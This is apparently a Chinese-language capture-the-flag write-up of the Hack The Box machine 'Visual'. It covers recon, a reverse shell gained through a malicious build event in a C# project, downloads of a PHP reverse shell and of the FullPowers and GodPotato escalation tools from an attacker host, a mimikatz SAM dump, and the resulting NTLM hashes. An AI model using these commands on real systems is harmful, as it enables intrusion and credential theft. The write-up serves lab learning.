Zumpyx Blog

Visual

Machines#568MediumWindowsvisual


password: 10046f9fc76c7ec1f9486d70e6afcd9

Visual

202310251623808.png

Recon

  • nmap -sC -A -p- --min-rate 1000 -T4 10.10.11.234
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-25 16:25 CST
Nmap scan report for 10.10.11.234
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
  • 指纹识别
http://10.10.11.234 [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17], IP[10.10.11.234], OpenSSL[1.1.1t], PHP[8.1.17], Script, Title[Vi
sual - Revolutionizing Visual Studio Builds], X-Powered-By[PHP/8.1.17]

Shell as user - enox

  • 访问 Web 服务

202310251645454.png

字面意思,可以自动编译 C# 项目

202310251627646.png

可以看到是 git 请求

202310251644093.png

Visual 在构建项目的时候可以添加事件,可以在构建前后执行命令

202310251659292.png

去Github 克隆一个简单项目编辑 .csproj 文件,写入 reverse shell

202310251722103.png

项目构建超时

Pasted+image+20240102114624.png

但是 Shell 已经弹过来了

202310251724469.png

202310251731434.png

Shell as user - xampp

发现 xampp,一般 xampp 权限很高,上传一个 reverse shell

wget http://10.10.16.16:81/sdiouqwehrhkjqwe.php -O sdiouqwehrhkjqwe.php

202310251742234.png

Shell as root

但是并没有啥权限,一般 web 服务或者数据库会有 ImpersonatePrivilege 权限,重置一下试试

在 Windows 上,某些服务以 LOCAL SERVICE 一组受限权限执行或 NETWORK SERVICE 配置为使用一组受限权限运行。因此,即使服务遭到入侵,您也不会获得黄金模拟权限,并且权限提升 LOCAL SYSTEM 应该更加复杂。但是,我发现,当您创建计划任务时,任务计划程序服务创建的新进程具有关联用户帐户的所有默认权限(SePersonate 除外)。因此,通过一些令牌操作,您可以生成一个具有所有缺失权限的新进程。 https://github.com/itm4n/FullPowers

curl http://10.10.16.16:81/FullPowers.exe -o FullPowers.exe

Pasted+image+20240102141547.png

现在有了 SeImpersonatePrivilege 权限、ImpersonatePrivilege权限。 GodPotato 可以将 ImpersonatePrivilege 权限提升到 NT AUTHORITY\SYSTEM 权限。

https://github.com/BeichenDream/GodPotato

curl http://10.10.16.16:81/GodPotato-NET4.exe -o 2.exe 2.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"

202310251811943.png

Pass Hash

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

Administrator:10046f9fc76c7ec1f9486d70e6afcd9
enox:004cf6f1669e26d35ca239ac829b90e3